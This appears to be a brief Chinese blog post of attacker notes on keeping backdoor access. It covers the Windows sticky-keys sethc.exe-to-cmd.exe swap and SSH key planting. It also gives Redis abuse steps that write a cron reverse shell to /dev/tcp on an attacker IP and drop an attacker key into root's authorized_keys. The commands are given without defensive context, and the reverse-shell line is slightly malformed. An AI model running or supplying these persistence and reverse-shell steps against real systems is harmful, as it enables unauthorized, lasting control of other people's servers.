后门维持

密码破解

shift后门

shift控制

Windows c:/system32/sethc.exe

换成cmd.exe

 

追加自己的公钥

ssh-keygen 生成公钥ssh-keygen -t rsa

cat    ~/.ssh/id_rsa.pub 获取自己的公钥

 

 连接的时候可以指定私钥来连接

ssh root@192.168.11.102  -i  .ssh/id_rsa

-i指定私钥地方 默认.ssh/id_rsa

 

redis添加计划任务

 

./redis-cli -h 192.168.xx.xx -p xxx

 

set x "\n\n\n*/1 * * * * bash-i &> /dev/tcp/192.168xx/xxx ) 0>&1 \n\n\n"

 

config set dir /var/spool/cron

 

config set dbfilename root

 

Save

 

 

Redis 反弹shell和写私钥

 

config set dir /root/.ssh/
config set dbfilename authorized_keys
set x "\n\n\n [ssh-公钥] \n\n\n"
save 

 

posted @ 2019-07-04 18:02  morris_pass_A  阅读(181)  评论(0编辑  收藏  举报